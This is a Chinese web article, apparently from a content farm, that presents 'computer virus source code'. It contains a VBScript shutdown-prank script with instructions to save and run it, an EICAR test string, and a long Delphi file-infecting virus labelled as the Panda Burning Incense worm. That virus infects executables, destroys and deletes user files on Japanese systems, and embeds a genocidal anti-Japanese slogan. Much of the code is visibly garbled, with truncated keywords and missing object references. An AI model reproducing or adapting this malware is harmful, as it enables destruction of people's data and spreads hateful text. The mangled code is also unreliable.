計算機病毒源代碼什么樣

2023年12月11日發(作者：西游記簡介及主要內容)

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計算機病毒源代碼什么樣

萬惡的計算機病毒也是有源代碼組成的，那么計算機病毒代碼長什么樣呢?下面由店鋪給你做出詳細的計算機病毒源代碼介紹!希望對你有幫助!

計算機病毒源代碼介紹一：

給你個惡搞的玩on error resume next

dim WSHshellA

t WSHshellA = object("")

" /c shutdown -r -t 60 -c ""說我是豬，不說我是豬就一分鐘關你機，不信，試試···"" ",0 ,true

dim a

do while(a <> "我是豬")

a = inputbox ("說我是豬,就不關機，快撒，說 ""我是豬"" ","說不說","不說",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛"

dim WSHshell

t WSHshell = object("")

" /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真過癮"

把這段復制，新建一個文本文檔，粘貼進去，保存，然后右擊，屬性，將后綴由.txt改為.vbs 確定就行了!以后雙擊這個vbs文件就能捉弄人了

計算機病毒源代碼介紹二：

最簡單的一個電腦病毒

版本：

打開記事本，輸入以下代碼：

Do Until 1=2 "煩死你!"

Loop

保存為，運行后不斷出現"煩死你"的對話框。

6版本：

打開Visual Basic 6.0，雙擊窗體，輸入以下代碼：

Private Sub Form_Load()

Do Until 1=2

Shell ""

Loop

End Sub 保存后編譯為EXE文件，運行后馬上死機。

計算機病毒源代碼介紹三：

把下面這段代碼復制到記事本里，保存為文本文件

X5O!P%@AP[4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

熊貓燒香

ogram Japussy;

us

Windows, SysUtils, Class, Graphics, ShellAPI{, Registry};

const

HeaderSize = 82432; //病毒體的大小

IconOfft = $12EB8; //PE文件主圖標的偏移量

//在我的Delphi5 SP1上面編譯得到的大小，其它版本的Delphi可能不同

//查找2800000020的十六進制字符串可以找到主圖標的偏移量

{

HeaderSize = 38912; //Upx壓縮過病毒體的大小

IconOfft = $92BC; //Upx壓縮過PE文件主圖標的偏移量

//Upx 1.24W 用法: upx -9 --8086 }

IconSize = $2E8; //PE文件主圖標的大小--744字節

IconTail = IconOfft + IconSize; //PE文件主圖標的尾部

ID = $44444444; //感染標記

//垃圾碼，以備寫入

Catchword = 'If a race need to be killed out, it must be

Yamato. ' +

'If a country need to be destroyed, it must be Japan! ' +

'*** .A ***';

{$R *.RES}

function RegisterServiceProcess(dwProcessID, dwType:

Integer): Integer;

stdcall; external ''; //函數聲明

var

TmpFile: string;

Si: STARTUPINFO;

Pi: PROCESS_INFORMATION;

IsJap: Boolean = Fal; //日文操作系統標記

{ 判斷是否為Win9x }

function IsWin9x: Boolean;

var

Ver: TOSVersionInfo;

begin

Result := Fal;

rsionInfoSize := SizeOf(TOSVersionInfo);

if not GetVersionEx(Ver) then

Exit;

if (formID = VER_PLATFORM_WIN32_WINDOWS)

then //Win9x

Result := True; end;

{ 在流之間復制 }

procedure CopyStream(Src: TStream; sStartPos: Integer; Dst:

TStream;

dStartPos: Integer; Count: Integer);

var

sCurPos, dCurPos: Integer;

begin

sCurPos := on;

dCurPos := on;

(sStartPos, 0);

(dStartPos, 0);

om(Src, Count);

(sCurPos, 0);

(dCurPos, 0);

end;

{ 將宿主文件從已感染的PE文件中分離出來，以備使用 }

procedure ExtractFile(FileName: string);

var

sStream, dStream: TFileStream;

begin

try

sStream := (ParamStr(0), fmOpenRead or

fmShareDenyNone);

try

dStream := (FileName, fmCreate);

try

(HeaderSize, 0); //跳過頭部的病毒部分

om(sStream, - HeaderSize);

finally ;

end;

finally

;

end;

except

end;

end;

{ 填充STARTUPINFO結構 }

procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);

begin

:= SizeOf(Si);

rved := nil;

top := nil;

e := nil;

s := STARTF_USESHOWWINDOW;

indow := State;

rved2 := 0;

rved2 := nil;

end;

{ 發帶毒郵件 }

procedure SendMail;

begin

//哪位仁兄愿意完成之?

end;

{ 感染PE文件 }

procedure InfectOneFile(FileName: string);

var

HdrStream, SrcStream: TFileStream;

IcoStream, DstStream: TMemoryStream; iID: LongInt;

aIcon: TIcon;

Infected, IsPE: Boolean;

i: Integer;

Buf: array[0..1] of Char;

begin

try //出錯則文件正在被使用，退出

if CompareText(FileName, '') = 0 then //是自己則不感染

Exit;

Infected := Fal;

IsPE := Fal;

SrcStream := (FileName, fmOpenRead);

try

for i := 0 to $108 do //檢查PE文件頭

begin

(i, soFromBeginning);

(Buf, 2);

if (Buf[0] = #80) and (Buf[1] = #69) then //PE標記

begin

IsPE := True; //是PE文件

Break;

end;

end;

(-4, soFromEnd); //檢查感染標記

(iID, 4);

if (iID = ID) or ( < 10240) then //太小的文件不感染

Infected := True;

finally ;

end;

if Infected or (not IsPE) then //如果感染過了或不是PE文件則退出

Exit;

IcoStream := ;

DstStream := ;

try

aIcon := ;

try

//得到被感染文件的主圖標(744字節)，存入流

eHandle;

:= ExtractIcon(HInstance, PChar(FileName), 0);

Stream(IcoStream);

finally

;

end;

SrcStream := (FileName, fmOpenRead);

//頭文件

HdrStream := (ParamStr(0), fmOpenRead

or fmShareDenyNone);

try

//寫入病毒體主圖標之前的數據

CopyStream(HdrStream, 0, DstStream, 0, IconOfft);

//寫入目前程序的主圖標

CopyStream(IcoStream, 22, DstStream, IconOfft, IconSize);

//寫入病毒體主圖標到病毒體尾部之間的數據

CopyStream(HdrStream,

HeaderSize - IconTail);

//寫入宿主程序

IconTail, DstStream, IconTail, CopyStream(SrcStream,

);

//寫入已感染的標記

(0, 2);

iID := $44444444;

(iID, 4);

finally

;

end;

finally

;

;

0, DstStream, HeaderSize,

File(FileName); //替換宿主文件

;

end;

except;

end;

end;

{ 將目標文件寫入垃圾碼后刪除 }

procedure SmashFile(FileName: string);

var

FileHandle: Integer;

i, Size, Mass, Max, Len: Integer;

begin

try

SetFileAttributes(PChar(FileName), 0); //去掉只讀屬性

FileHandle := FileOpen(FileName, fmOpenWrite); //打開文件

try

Size := GetFileSize(FileHandle, nil); //文件大小

i := 0; Randomize;

Max := Random(15); //寫入垃圾碼的隨機次數

if Max < 5 then

Max := 5;

Mass := Size div Max; //每個間隔塊的大小

Len := Length(Catchword);

while i < Max do

begin

FileSeek(FileHandle, i * Mass, 0); //定位

//寫入垃圾碼，將文件徹底破壞掉

FileWrite(FileHandle, Catchword, Len);

Inc(i);

end;

finally

FileClo(FileHandle); //關閉文件

end;

DeleteFile(PChar(FileName)); //刪除之

except

end;

end;

{ 獲得可寫的驅動器列表 }

function GetDrives: string;

var

DiskType: Word;

D: Char;

Str: string;

i: Integer;

begin

for i := 0 to 25 do //遍歷26個字母

begin D := Chr(i + 65);

Str := D + ':';

DiskType := GetDriveType(PChar(Str));

//得到本地磁盤和網絡盤

if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE)

then

Result := Result + D;

end;

end;

{ 遍歷目錄，感染和摧毀文件 }

procedure LoopFiles(Path, Mask: string);

var

i, Count: Integer;

Fn, Ext: string;

SubDir: TStrings;

SearchRec: TSearchRec;

Msg: TMsg;

function IsValidDir(SearchRec: TSearchRec): Integer;

begin

if ( '.') and

( <> '..') then

Result := 0 //不是目錄

el if ( = 16) and ( <> '.') and

( <> '..') then

Result := 1 //不是根目錄

el Result := 2; //是根目錄

end;

begin

if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then

begin repeat

PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //調整消息隊列，避免引起懷疑

if IsValidDir(SearchRec) = 0 then

begin

Fn := Path + ;

Ext := UpperCa(ExtractFileExt(Fn));

if (Ext = '.EXE') or (Ext = '.SCR') then

begin

InfectOneFile(Fn); //感染可執行文件

end

el if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then

begin

//感染HTML和ASP文件，將Ba64編碼后的病毒寫入

//感染瀏覽此網頁的所有用戶

//哪位大兄弟愿意完成之?

end

el if Ext = '.WAB' then //Outlook地址簿文件

begin

//獲取Outlook郵件地址

end

el if Ext = '.ADC' then //Foxmail地址自動完成文件

begin

//獲取Foxmail郵件地址

end

el if Ext = 'IND' then //Foxmail地址簿文件

begin

//獲取Foxmail郵件地址

end

el begin

if IsJap then //是倭文操作系統

begin

if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or

(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or

(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or

(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or

(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or

(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then

SmashFile(Fn); //摧毀文件

end;

end;

end;

//感染或刪除一個文件后睡眠200毫秒，避免CPU占用率過高引起懷疑

Sleep(200);

until (FindNext(SearchRec) <> 0);

end;

FindClo(SearchRec);

SubDir := ;

if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then

begin

repeat

if IsValidDir(SearchRec) = 1 then

();

until (FindNext(SearchRec) <> 0);

end;

FindClo(SearchRec);

Count := - 1;

for i := 0 to Count do LoopFiles(Path + s + '', Mask);

FreeAndNil(SubDir);

end;

{ 遍歷磁盤上所有的文件 }

procedure InfectFiles;

var

DriverList: string;

i, Len: Integer;

begin

if GetACP = 932 then //日文操作系統

IsJap := True; //去死吧!

DriverList := GetDrives; //得到可寫的磁盤列表

Len := Length(DriverList);

while True do //死循環

begin

for i := Len downto 1 do //遍歷每個磁盤驅動器

LoopFiles(DriverList + ':', '*.*'); //感染之

SendMail; //發帶毒郵件

Sleep(1000 * 60 * 5); //睡眠5分鐘

end;

end;

{ 主程序開始 }

begin

if IsWin9x then //是Win9x

RegisterServiceProcess(GetCurrentProcessID, 1) //注冊為服務進程

el //WinNT

begin

//遠程線程映射到Explorer進程

//哪位兄臺愿意完成之? end;

//如果是原始病毒體自己

if CompareText(ExtractFileName(ParamStr(0)), '')

= 0 then

InfectFiles //感染和發郵件

el //已寄生于宿主程序上了，開始工作

begin

TmpFile := ParamStr(0); //創建臨時文件

Delete(TmpFile, Length(TmpFile) - 4, 4);

TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件，多一個空格

ExtractFile(TmpFile); //分離之

FillStartupInfo(Si, SW_SHOWDEFAULT);

CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,

0, nil, '.', Si, Pi); //創建新進程運行之

InfectFiles; //感染和發郵件

end;

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